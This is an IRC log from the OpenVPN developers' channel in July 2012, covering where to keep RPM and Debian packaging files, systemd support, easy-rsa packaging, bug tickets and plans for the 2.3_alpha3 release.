dazo_afk is now known as dazo 02:46 <@dazo> krzee: yeah, looking good ... but still missing the "check that your public IP matches the public IP of your VPN server" part 02:48 <@mattock> hmm, the rpm spec file for openvpn is fairly obsolete it seems 02:48 <@dazo> mattock: if it is for RHEL/Fedora ... I'd have a look at their spec file ... 02:48 * dazo tries to dig it up 02:49 <@mattock> I cannibalized Fedora/CentOS spec files when I did 2.3-alpha1 02:49 <@mattock> I can build on those 02:49 <@mattock> still, I'm wondering whether or not it makes sense to keep the spec/debian control files in the main repository 02:49 <@mattock> or not 02:50 <@dazo> I'd say probably not 02:50 <@mattock> yeah 02:50 <@cron2> it depends on who you ask... if you ask Alon, the answer will be "throw it out, only packagers need it!!!", if you ask me, I'd say it makes sense to *keep* so people can build their own packages without having to re-do all the work 02:51 <@dazo> If it hadn't been for openvpn-as, which packages their own RPMs .... I'd say we wouldn't need the .spec file either 02:51 <@mattock> I could create a Git repo with my spec/rules files in it 02:51 <@cron2> people might want to be able to distribute "local" packages based on upstream source + patches 02:51 <@mattock> maybe even in the OpenVPN organization on GitHub or something 02:51 <@dazo> cron2: well, those packaging files are located in their own repos ... 02:52 <@cron2> dazo: well, you could do that, but I find that fairly unpractical, to be honest. "OK, I want to build OpenVPN. Now which 7 git repositories do I have to clone, and in which order?" 02:52 <@mattock> in any case, I need to publish my modified debian rules for openvpn, as it's GPLv2 02:53 <@cron2> I can't see the harm in having a tested and known-working debian and rpm spec file in the main repo 02:53 <@cron2> (or if you feel so strong about it, put it into openvpn-build then, but please let's not start yet another repo) 02:54 <@mattock> lol 02:54 <@mattock> :D 02:55 <@mattock> I'll write the spec files first and then worry 02:55 <@cron2> I thought we already have some? 02:55 <@mattock> yes, but they're obsolete 02:56 <@cron2> sure, but you have been busy fixing them :) 02:56 <@mattock> there's a RPM spec file in Git 02:56 <@mattock> and then there are the spec files I modified from EPEL spec files for 2.3-alpha1 02:56 <@mattock> and now with all this project restructuring I need to modify them fairly heavily 02:57 <@mattock> e.g. I split easy-rsa into it's own package and made openvpn depend on it, and put both into the debian/ubuntu repos 02:57 <@mattock> actually, not depend on, but "you might want easy-rsa if you install openvpn" 02:57 <@dazo> cron2: but when you want to do a package, you do it for a certain distro (there are no distro-agnostic RPM package, f.ex) ... so basing your own packaging on the proper distro, that would give you a better result - as that distro .spec is updated against latest releases continuously 02:58 <@dazo> while if we ship a .spec file ... it might work, it might need adopting, it will most likely be out-of-date against the latest distro 02:58 <@mattock> the spec file in the repo has quite a few conditionals based on the OS... it will get ugly if we try to cope with all the differences 02:58 <@mattock> between operating systems 02:58 <@dazo> and then you have at least 4 distros which uses RPM, but all of them have their own variants 02:58 <@cron2> dazo: are distros really changing everything around so often these days? 02:58 <@mattock> cron2: yep, I'd say so 02:59 <@mattock> especially on the RPM side 02:59 <@dazo> cron2: Fedora releases 2 major versions every year 02:59 <@cron2> (I see the difference between SuSE and RedHat, for example, but why does Fedora have to change stuff so often that the .spec wouldn't work anymore?) 02:59 <@mattock> as does Ubuntu 02:59 <@dazo> The RHEL base is more stable, with a major release every 3-4 year ... and minor releases don't require much adopting 03:00 <@mattock> I'm starting to think that openvpn-build might be the least bad place for spec/debian control files 03:00 <@dazo> cron2: they decide to kickout sys-v init scripts for upstart ... and then replace upstart with systemd ... and then SELinux evolves ... and so on 03:01 <@mattock> there are probably a dozen advanced init systems around there, with each distro picking one, then switching to another one, and so on 03:02 <@cron2> dazo: *shiver*, but yeah, thanks very much for reminding me of the horror 03:02 <@dazo> :) 03:02 * cron2 remembers why he hasn't touched RH/Fedora or SuSE for years 03:02 <@dazo> heh 03:03 <@cron2> after a long and painful history with RedHat Linux on my laptops and SuSE linux on my wife's computer, she switched to MacOS and I converted to Gentoo 03:04 <@cron2> with Gentoo, I know that it's broken in minor ways all the time, instead of broken in major ways at surprising and inconvenient times 03:04 <@mattock> cron2: after two painful experiences with Gentoo I converted to Debian/Ubuntu for good 03:05 <@mattock> my vote goes to Debian-based distros 03:05 <@mattock> they're very, very rarely broken in any major way 03:05 <@cron2> there's debian on my sheevaplug, and it's mostly well-behaved, yes. But Debian has its own set of issues ("stale, broken, rusting") 03:05 <@mattock> debian stable is stable, but it gets old quite fast 03:06 <@mattock> and the testing and unstable variant tend to have minor issues all the time 03:06 <@cron2> back to the topic - I think moving the spec files to openvpn-build "to have them archived somewhere" might indeed be the way of least pain 03:06 <@mattock> given that openvpn-build already contains stuff to generate windows packages, it's kind of natural 03:07 <@mattock> I don't think anyone uses the spec file that's in the main git repo 03:07 <@mattock> AS comes as a single package 03:07 <@mattock> i.e. doesn't pull openvpn as a dependency 03:07 <@dazo> cron2: funny you did RH -> Gentoo ... I did the opposite after a couple of times where Gentoo updates rendered me a useless system due to wrong compile order of some libraries ... had to recompile GNOME three times before it worked 03:08 <@mattock> guess how long it took to compile OpenOffice on a 350Mgz PII? 03:08 <@dazo> cron2: but please beware that RH Linux != RHEL ... RH Linux evolved more into Fedora, kind of 03:08 * cron2 is not using GNOME and not using KDE. And *that* is one of the reasons why I like Gentoo :-) - "just give me fvwm2 and leave me alone with all that bloatcrud" 03:08 <@dazo> and you don't need the GNOME or KDE libs at all? 03:09 <@cron2> glib2, libxml2, pango, cairo and gtk-pixbuf are needed (and *do* cause pain, but since my desktop doesn't rely on them, it's just a nuisance) 03:11 <@cron2> glib2 pain is omnipresent... since even things like irssi depend on it 03:15 <@cron2> but yeah, I can see why someone would not want Gentoo - it needs regular tending, and some careful cursing every now and then :-) 03:15 <@cron2> the package-based distributions always broke for me because I do not like "flag day" updates, so all stuff was outdated, and then I needed something new which didn't install due to missing libraries, and then all hell starts... 03:15 * cron2 <- his fault 03:18 <@dazo> I had three (public) servers running Gentoo ... two of them are migrated now SL6.2 ... and it makes my life easier ... but for more bleeding edge, Gentoo is one of the better ones, yes ... but RHEL/SL isn't about bleeding edge but long term stability, so each has its use cases 03:19 <@dazo> And I still remember the performance boost I got on my old Gentoo workstation ... when kicking out the pre-compiled OpenOffice and compile one myself ... from 30 sec start time to 12 sec ... 03:19 <@dazo> (but the compile also took 9 hours, or so ...) 03:20 <@cron2> heh, yes, compiling openoffice, chromium, or firefox is a major undertaking :) 03:21 <@cron2> back in the times, "compiling X11R6" was "the big task", but that's just a minor thing today... 03:22 <@dazo> hehe ... yeah 03:22 <@mattock> with PII Oo.org compiled 48 hours 03:23 <@mattock> firefox and thunderbird took 8 hours each I think 03:23 <@dazo> ouch 03:23 <@mattock> and that was back in the day when PII 350Mhz was not _that_ bad 03:23 <@dazo> I had a 1GB box with PentiumM (was it 2.4GHz?) 03:24 <@dazo> mattock: I might be able to dig up a couple of old dual PII 300MHz boxes if you're interested :-P I think it's Intel Redwood boxes 03:24 <@mattock> thanks, but no thanks :D 03:24 <@dazo> hahaha 03:24 <@mattock> I hate stuff 03:24 <@mattock> especially obsolete computers :P 03:26 <@dazo> I have some nostalgia for old computers ... esp. if I used them a lot :) 03:26 <@mattock> it seems sample-scripts/openvpn.init had gone missing during alpha1->alpha2 transition 03:26 <@dazo> mattock: it's moved into a distro dir, iirc 03:26 <@mattock> dazo: actually me too, if they're from my childhood/youth :D 03:26 <@mattock> although I can live with an emulator and a reproduction digital joystick just fine 03:27 <@dazo> distro/rpm/openvpn.init.d.{rhel,suse} 03:27 <@mattock> ah yes 03:27 <@mattock> renamed also 04:19 <@mattock> dazo: ChangeLog.IPv6 seems to be missing from 2.3_alpha2 tarball, but it's still in Git 04:20 <@dazo> mattock: sounds like something is missing in Makefile.am ... 04:20 <@mattock> yeah 04:20 <@mattock> noticed when building the RPM file for CentOS 05:11 <@mattock> it seems RPMs need more work than debs... centos spec file almost ready 05:11 <@mattock> -> lunch 07:08 <@dazo> cron2: seen this? http://ipv6securitylab.org/ipv6toolbox.html 07:08 <@vpnHelper> Title: IPv6 Toolbox - ipv6securitylab (at ipv6securitylab.org) 07:14 <@cron2> dazo: not looked into it in full detail, but seen the reference 11:01 -!- raidz_afk is now known as raidz 11:35 -!- dazo is now known as dazo_afk 11:43 -!- dazo_afk is now known as dazo 13:03 -!- dazo is now known as dazo_afk 16:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 16:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:42 <+krzee> www.ircpimps.org/redirect.png 17:42 <+krzee> added the IP check 19:11 -!- raidz is now known as raidz_afk 20:37 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 272 seconds] --- Day changed Wed Jul 11 2012 01:33 <+krzee> oh and www.ircpimps.org/serverlan.png 02:11 -!- dazo_afk is now known as dazo 02:16 <@dazo> krzee: looking good! (both of them) 02:16 <+krzee> thanks =] 03:45 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 03:45 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:39 <@mattock> finally first 2.3_alpha2 rpm 05:39 <@mattock> still need to adapt for Fedora, and generate simple easy-rsa packages 05:45 <@mattock> dazo: any clue if RPM supports "soft" dependencies in the spec files, e.g. "Recommends: easy-rsa" 05:45 <@mattock> I'm googling, but haven't found anything concrete 05:46 <@dazo> mattock: uhm ... I don't think so 05:46 <@mattock> hmm, ok 05:46 <@mattock> not a biggie, but would be nice 05:46 <@dazo> dependencies in RPM is used for "I need these ones to be able to run" 05:47 <@dazo> not "you can also use these packages with this one" 05:48 <@mattock> it seems some RPM versions support Suggests/Recommends, but not all 05:48 <@mattock> some versions as in "some distros" 05:48 <@mattock> e.g. opensuse 05:48 <@mattock> I'd rather not go there, though 05:53 <@mattock> dazo: did Fedora 16+ have systemd? 05:53 <@dazo> mattock: yes, it arrived in F15 05:53 <@mattock> should I enable it for the F16 packages, then? 05:53 <@dazo> Yeah, I would definitely do that 05:53 <@mattock> ok, I'll do that 05:54 <@dazo> it should make starting openvpn at boot time work better 05:54 <@dazo> (esp. if it asks for passwords) 05:54 <@dazo> --enable-selinux --enable-systemd are appropriate for Fedora, and also RHEL for that matter ... --enable-systemd doesn't harm non-systemd systems 05:55 <@dazo> (and I believe opensuse also uses systemd now) 05:55 <@dazo> ( and if not ... it's just a matter of time) 06:04 <@mattock> proper systemd support would need a systemd "init" file, right? 06:07 <@mattock> I'll hack something together and hope it works :P 06:16 <@mattock> ah, there might be issues with systemd and openvpn: http://forums.fedoraforum.org/showthread.php?t=272612 06:43 <@mattock> centos and fedora 16 packages seem to work ok 06:44 <@mattock> I'll create the easy-rsa packages later today 07:13 <@dazo> mattock: no, not really needed ... systemd can understand/use sys-v init scripts 07:15 <@dazo> but of course, providing a systemd config file for openvpn will be way better ... there's plenty of info here http://www.0pointer.de/blog (Lennart's blog) 07:15 <@vpnHelper> Title: Wunschkonzert, Ponyhof und Abenteuerspielplatz (at www.0pointer.de) 07:23 <@d12fk> first auto-proxy in GUI patch on her way, please comment folks 07:26 <@cron2> d12fk: wearing your asbestos underway? :) 07:42 <@dazo> d12fk: about time we'll get the steam up on -devel list again ... been far to quiet there lately! ;-) 07:52 * dazo sent an explicit forward of the patch to James 07:52 <@dazo> hopefully he'll give a response as well 08:09 <@d12fk> cron2: hehe i always code nakkid! =) 08:10 <@d12fk> dazo: goodie, maybe discuss it with him tomorrow 08:11 <@dazo> d12fk: yeah, I'm not sure I'll be available tomorrow ... but we'll see ... hopefully james can come here 08:11 <@dazo> mattock: ^^ 09:17 <@mattock> we can ask James if he'll make it 09:27 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 10:00 -!- chek0v [~chek0v@unaffiliated/chek0v] has joined #openvpn-devel 10:01 < chek0v> !git 10:01 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git, or (#5) If you have problems, 10:01 <@vpnHelper> relax: http://justinhileman.info/article/git-pretty/git-pretty.png 11:07 -!- raidz_afk is now known as raidz 14:41 -!- dazo is now known as dazo_afk 17:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 19:12 -!- raidz is now known as raidz_afk 19:43 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] --- Day changed Thu Jul 12 2012 01:52 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:04 <@vpnHelper> RSS Update - tickets: #219: man page wrong in OpenVPN 2.3_alpha1 <https://community.openvpn.net/openvpn/ticket/219> 02:09 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 02:09 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:09 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 03:26 <@d12fk> about ticket #219: I just checked, the docs are right about the doubled timeout on the server side, so the ticket can be closed 06:45 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 06:45 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:45 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:41 -!- dazo_afk is now known as dazo 08:43 <@dazo> d12fk: have a look at this patch ... related to #219 ;-) http://thread.gmane.org/gmane.network.openvpn.devel/2814 08:43 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 08:58 <@d12fk> dazo: that would help, however i would prefer a less technical explanation in prose form 08:59 * d12fk think's this "feature" is another rather strange one 08:59 <@d12fk> or did i miss the point of doubling the timeout just on the server 09:00 <@dazo> d12fk: It's to avoid server trying a ping if the client comes back after 61 seconds 09:00 <@dazo> could probably make some extra funny log noise 09:01 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:01 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 09:01 <@dazo> d12fk: but you understood that I just suggested to replace '10' with XX and '60' with YY in the docs? Not the complete C code explanation? 09:09 <@mattock_> dazo: I got kudos now on ohloh :D 09:10 <@dazo> := 09:10 <@dazo> :) 09:19 <@mattock_> is there a need to ask James to come here at meeting time? 09:21 <@dazo> mattock_: Would be good to get d12fk two patches discussed and reviewed 09:33 <@d12fk> dazo: what i meant was to replace the XX YY stuff with a sentance that explains that the value will be double and the rationale for it 09:34 <@dazo> d12fk: ahh, yeah that makes sense ... just need to get a proper rationale for it ... yet another question for james 09:37 <@d12fk> mattock_: will there be a meeting? 09:39 <@dazo> I'd say if d12fk and james can be there, an unofficial meeting will be enough for today 09:40 <@dazo> I don't have much time today, but will try to squeeze it in if my appearance is required 09:40 <@dazo> (I might be lurking though) 09:40 <@d12fk> true i guess its mostly the removal of the fallback option that needs to be communicated to james 09:41 * cron2 will also lurk around 10:05 <@dazo> This is an interesting idea ... https://github.com/ioerror/tlsdate 10:05 <@vpnHelper> Title: ioerror/tlsdate · GitHub (at github.com) 10:07 <@d12fk> where does it extract the time from? 10:07 <@dazo> d12fk: the TLS packets is required to have a time stamp 10:07 <@dazo> in the handshake part 10:08 <@dazo> more info here https://lists.torproject.org/pipermail/tor-talk/2012-February/023275.html 10:08 <@vpnHelper> Title: [tor-talk] secure and simple network time (hack) (at lists.torproject.org) 10:09 <@d12fk> ah what i thought just second granularity 10:09 <@dazo> yeah 10:10 <@dazo> such a feature in openvpn would be really neat on embedded systems without an rtc ... establish connection with server, extract and validate timestamp, set time ... and continue 10:10 <@d12fk> but isnt ovpn too haevy for just that 10:12 <@dazo> probably ... just wondering if this can be used to enforce a good clock on clients as well 10:12 <@dazo> as a security featue 10:12 <@dazo> *feature 10:13 <@d12fk> there's no guarantee that the client actually sets the clock 10:15 <@dazo> d12fk: true, but that requires a nasty hacked openvpn to provide the wrong timestamps in the SSL/TLS protocol 10:15 <@dazo> it doesn't fix it completely, but makes it much harder 10:16 * dazo wonders what andj thinks about this 10:16 <@d12fk> setting the system time probably required privilege escalation 10:17 <@dazo> but so does setting network routes 10:17 <@d12fk> having the interactive service in mind =) 10:17 <@dazo> yeah, I know ;-) 10:19 <@d12fk> still i'm not volunteering, we'll run into a whole new class of issues there 10:20 <@dazo> hehehehe 10:44 <@mattock_> I'll ask james to pop in here this evening 10:44 <@mattock_> I wouldn't call that an official meeting, though, but just to review the patch(es) 10:45 <@mattock_> dazo: so the one you CC'd me about? 10:45 <@mattock_> anything else? 10:46 <@dazo> mattock_: d12fk sent another patch as well ... and then asking about the rationale for XX*2 on the server side with using --keepalive (see trac #219 for more info) 10:46 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/6842 10:46 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 10:46 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/6841 10:46 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 10:47 <@dazo> https://community.openvpn.net/openvpn/ticket/219 10:47 <@vpnHelper> Title: #219 (man page wrong in OpenVPN 2.3_alpha1) – OpenVPN Community (at community.openvpn.net) 10:47 <@dazo> (which references http://thread.gmane.org/gmane.network.openvpn.devel/2814) 10:47 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 10:50 <@mattock_> mail sent 10:50 <@mattock_> I'll be semi-present between 18-19 UTC 11:40 -!- raidz_afk is now known as raidz 12:26 <@dazo> mattock_: I'll fwd James' mail to d12fk 12:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:04 <@d12fk> !meetings 13:05 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 13:05 <@dazo> d12fk: did you see the mail I fwd? 13:05 <@d12fk> probably not, checking 13:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:07 <@mattock> reporting in as "semi-present" :) 13:07 <@dazo> mattock: if you check mail, you'll see james can't attend ... but he was positive to the changes proposed 13:07 <@d12fk> dazo: excellent, didn't expect to be so easy 13:08 <@dazo> d12fk: me neither :) ... so now we just need a proper review ... and if that doesn't happen within 2weeks, I'll pull it in via lazy consensus 13:09 <@d12fk> i'm currently hacking up the gui to support the PRXY notification and do stuff about it 13:09 <@dazo> nice! should we attempts a alpha3 when you're ready with that? 13:09 <@dazo> it's the TAP fix, we've gotten in ... and we have this proxy stuff things ... maybe I'm lucky to solve a bug or two 13:10 <@d12fk> that would be best. russel morris will take a close look at it i bet 13:10 <@dazo> yeah, let's have that as a milestone then 13:10 <@dazo> mattock: makes sense to you? 13:10 <@d12fk> good, should be finished next week latest 13:10 <@dazo> cool! 13:11 <@d12fk> lets call it a meeting then 13:11 <@dazo> I'd like alpha3 to go out rather soonish 13:11 <@dazo> yupp :) 13:11 <@d12fk> cya tomorrow 13:11 <@dazo> c'ya! 13:16 <@mattock> re: 2.3_alpha3: if we want a new alpha, let's release it a,s.a.p. 13:16 <@dazo> ack 13:17 <@dazo> mattock: I think we should have another alpha, considering the TAP bug we shipped in alpha2 ... and getting d12fk tested better would also be beneficial 13:17 <@mattock> yep, let do that 13:21 <@cron2> let's test d12fk! 13:22 <@cron2> mattock: "today" or "when d12fk's change + gui changes are in"? 13:27 <@mattock> the latter one, if they're going in quickly 13:38 <@dazo> mattock: we need to wait for the GUI in this case ... but we're promised that in next week latest 13:41 <@mattock> ok, sounds good 13:41 <@mattock> alpha3 should be the easiest release to make so far 13:41 <@dazo> yeah, I hope so :) 13:42 <@mattock> no more packaging woes as in alpha2 13:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving] 14:21 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 15:25 -!- dazo is now known as dazo_afk 15:32 <@andj> dazo: about the time thing, isn't that what NTP is for? :) 15:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 17:01 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 17:01 -!- mode/#openvpn-devel [+o andj__] by ChanServ 17:02 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 17:02 -!- andj__ is now known as andj 18:12 -!- chek0v [~chek0v@unaffiliated/chek0v] has quit [Ping timeout: 248 seconds] 19:10 -!- raidz is now known as raidz_afk 20:51 <@vpnHelper> RSS Update - tickets: #220: Makefile.in does not use DESTDIR in install target tests <https://community.openvpn.net/openvpn/ticket/220> 21:01 <@ecrist> andj: that's what I was thinking. --- Day changed Fri Jul 13 2012 01:44 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:10 -!- dazo_afk is now known as dazo 02:15 <@dazo> andj: for setting clocks, ntp is far better (as you get higher precision) ... but for making sure the remote side uses a sane clock (and might give a better error message than just "Connection rejected") ... it might be useful ... as the peers need to be somewhat synchronised 02:16 <@mattock_> dazo: +1 for outputting a better error message 02:16 <@dazo> I see the possibility for setting the clock (if it is far away) just a bonus feature 02:16 <@mattock_> easy-rsa now packaged as an rpm 02:16 <@dazo> mattock_: can you check who the user 'james' is in LDAP? 02:17 <@dazo> cool! 02:17 <@mattock_> yep 02:17 <@mattock_> "who" meaning what? email address? 02:17 <@dazo> Yeah, that would be best 02:17 <@dazo> I want to know if it's our james, or somebody else :) 02:20 <@mattock> not our james 02:20 <@dazo> okay, goodie ... then I know better what to answer on trac ticket #220 02:53 <@mattock> dazo: when installing openvpn-2.3_alpha2 rpm packages on top of alpha1 packages, restarting the 02:53 <@mattock> openvpn service suggested running "sysctl --system daemon-reload" 02:53 <@mattock> would it be wise (and safe) to run that in %post phase? 02:53 <@mattock> I ran it manually, and nothing bad happened 02:55 <@dazo> Generally, we should be careful with that ... if there is a conditional-restart possibility, that might be good (I think that's what sshd, named and a few other daemons do) .... as that only restarts *if* the service is running 02:55 <@dazo> otherwise, it might start the daemon if it's not done yet 02:56 <@dazo> But is it really sysctl? 02:56 <@mattock> no 02:56 <@mattock> systemctl 02:56 <@mattock> typo 02:56 <@dazo> ahh, better :) 02:56 <@dazo> systemctl however is part of systemd ... so that we can only do in Fedora 15 and newer 02:56 <@mattock> so let's let people run that manually? 02:56 <@mattock> yeah 02:57 <@mattock> EL6 spec file is using chkconfig only, no systemd support 02:57 <@mattock> both F16 and EL6 have --enable-selinux, though 02:57 <@dazo> RHEL and earlier Fedoras should not use chkconfig even .... that's a nasty thing to do 02:57 <@dazo> but it can do: service openvpn conditional-restart 02:58 <@mattock> dazo: could take a brief look at the spec files before I push the packages to the repos? 02:59 <@mattock> they _seem_ to work ok, but they're in the "my first rpm" category definitely :D 02:59 <@mattock> though we're at alpha2 stage, so I guess they're supposed to suck :P 03:01 <@mattock> http://build.openvpn.net/downloads/openvpn-2.3-CentOS6.spec 03:02 <@mattock> http://build.openvpn.net/downloads/openvpn-2.3-Fedora16.spec 03:02 <@mattock> http://build.openvpn.net/downloads/easy-rsa.spec 03:03 <@mattock> I'll restructure my deb/rpm publishing system so that I can more easily push out new easy-rsa releases, too 03:10 <@cron2> mornin 03:23 <@dazo> moin 03:23 <@dazo> mattock: I presume you've tried to run rpmlint against both RPMs and spec files? 03:24 <@mattock> dazo: nope, didn't know it exists 03:24 <@mattock> let's see... 03:24 <@dazo> I'll expect it to complain about full download URLs for Source and Patch 03:25 <@dazo> I'm not sure you should Require /sbin/{chkconfig,service} 03:25 <@mattock> there were some minor issues with the easy-rsa spec file, fixing... 03:26 <@dazo> (otherwise, you can make it simpler by doing: Requires: lzo openssl (instead of separate lines, but this is nit-picking) 03:26 <@mattock> big chunks of the openvpn specfile (chkconfig included) are from repoforge spec files, so they might be ok 03:27 <@mattock> where do I find Fedora/EL "standard-groups" list? 03:27 <@dazo> oh ... *thinking* (it's a text file somewhere) 03:28 <@dazo> mattock: /usr/share/doc/rpm-*/GROUPS 03:28 <@mattock> ah, thanks! 03:29 <@dazo> The "Install plugins and move documentation" ... that's taken care of by 'make install' now ... you just need to mention them in the %files section 03:29 <@mattock> uh, so limited this GROUPS list 03:29 <@mattock> I wonder where easy-rsa would fit least badly... 03:29 <@dazo> yeah, I was surprised 03:30 <@dazo> Applications/database ... probably 03:30 <@dazo> or Applications/System 03:30 <@mattock> latter is probably better 03:30 <@dazo> yeah, thinking the same 03:35 <@mattock> easy-rsa now passed without any warnings 03:36 <@mattock> let's see about openvpn... 03:54 <@mattock> all reasonable warnings fixed 03:55 <@mattock> thanks for the pointer dazo! 03:55 <@dazo> you're welcome :) 04:15 <@mattock> the patch needed modifications, too 04:15 <@mattock> I also changed the version from 2.3 to 2.3_alpha2 04:16 <@dazo> yeah, that's good 04:16 <@mattock> (2.3-alpha1 did not work earlier, so I chose 2.3) 04:16 <@dazo> yeah, because of '-' not being '_' 04:16 <@mattock> yep 04:48 <@d12fk> reporting partial success: 04:48 <@d12fk> Fri Jul 13 10:46:33 2012 MANAGEMENT: CMD 'proxy HTTP 10.8.16.192 8080' 04:49 <@d12fk> that's for the static proxy config from the GUI 04:54 <@dazo> nice! 06:30 <@mattock> easy-rsa-2.2.0_master-1 and openvpn-2.3_alpha2-1 in Fedora 16 yum repos 06:35 <@mattock> EL6 shall wait for next monday when I have direct access to the centos 6 buildslaves 06:58 <@dazo> nice! 08:20 <@dazo> plaisthos: please, if you have time ... could you join #openvpn ... there's a guy with a couple of Android questions 08:24 <@cron2> mattock: could you point James at trac #97? that's the DHCP NAK bomb ticket, and someone seems to have found an explanation, which hints at a bug in the tap driver ("not something I messed with!"), but this would be the ideal opportunity to get it fixed before 2.3 :-) 08:24 <@cron2> (also sent mail to the openvpn-devel list to raise awareness) 08:26 <@dazo> cron2: didn't we solve that one already? 08:27 <@dazo> hmmm ... obviously not 08:32 <@cron2> well, we fixed something else, and janjust said "that fixed my problem as well" (which we never understood in the first place). But *this* explains why a DHCP NAK storm could happen, and on the first glance, the explanation is reasonable 08:33 <@cron2> I'm not sure why this check exists in the first place, though - there must have been some historic issue to introduce the whole concept of "bad DHCP request", and I'm not sure anyone but James knows 08:34 <@dazo> yeah 08:35 <@cron2> need to leave now, fetch $child[0] from daycare and go to playground... will be back later 08:51 <@mattock> cron2: I'll poke James 09:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:18 <+krzee> [10:15] <dos-freak> Hi, is anyone there who is capable of recompiling the Win32 TAP driver and signing it with the OpenVPN certificate? I found a little bug that I need to get fixed, but I don't have a Software Publisher Ceritficate myself.. :-/ 09:18 <+krzee> [10:17] <krzee> no 09:18 <+krzee> [10:17] <krzee> but you can report the bug 09:18 <+krzee> [10:17] <krzee> or you can compile WITHOUT the openvpn certificate 09:18 <+krzee> [10:18] <krzee> but if you expect your code signed with the cert, thats funny 09:19 <@dazo> lol 09:20 <+krzee> [10:19] <dos-freak> http://community.openvpn.net/openvpn/ticket/97#comment:8 09:20 <@vpnHelper> Title: #97 (OpenVPN produces DCHP NAK bomb on Win 7 64bit) – OpenVPN Community (at community.openvpn.net) 09:22 <@dazo> krzee: you lost the backlog .... cron2 is on the ball :) 09:22 <+krzee> cool =] 09:23 <@dazo> krzee: if I understood cron2 correctly, it's supposed to come a mail to -devel ... and mattock would poke james about it 11:05 -!- dazo is now known as dazo_afk 11:13 -!- raidz_afk is now known as raidz 15:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:48 * cron2 sent a mail to -devel, and hopes that james has time to look into it 15:49 * cron2 is a bit too distracted these days :( (and my t_server.sh thing is still not ready) 15:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:22 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 18:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:01 -!- raidz is now known as raidz_afk 21:21 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 22:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat Jul 14 2012 13:50 <@andj> (sorry for the slow replies, renovating) dazo: true, sane error messages are a good idea 14:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 14:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:53 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 14:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:02 -!- variable [root@freebsd/developer/variable] has joined #openvpn-devel 20:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 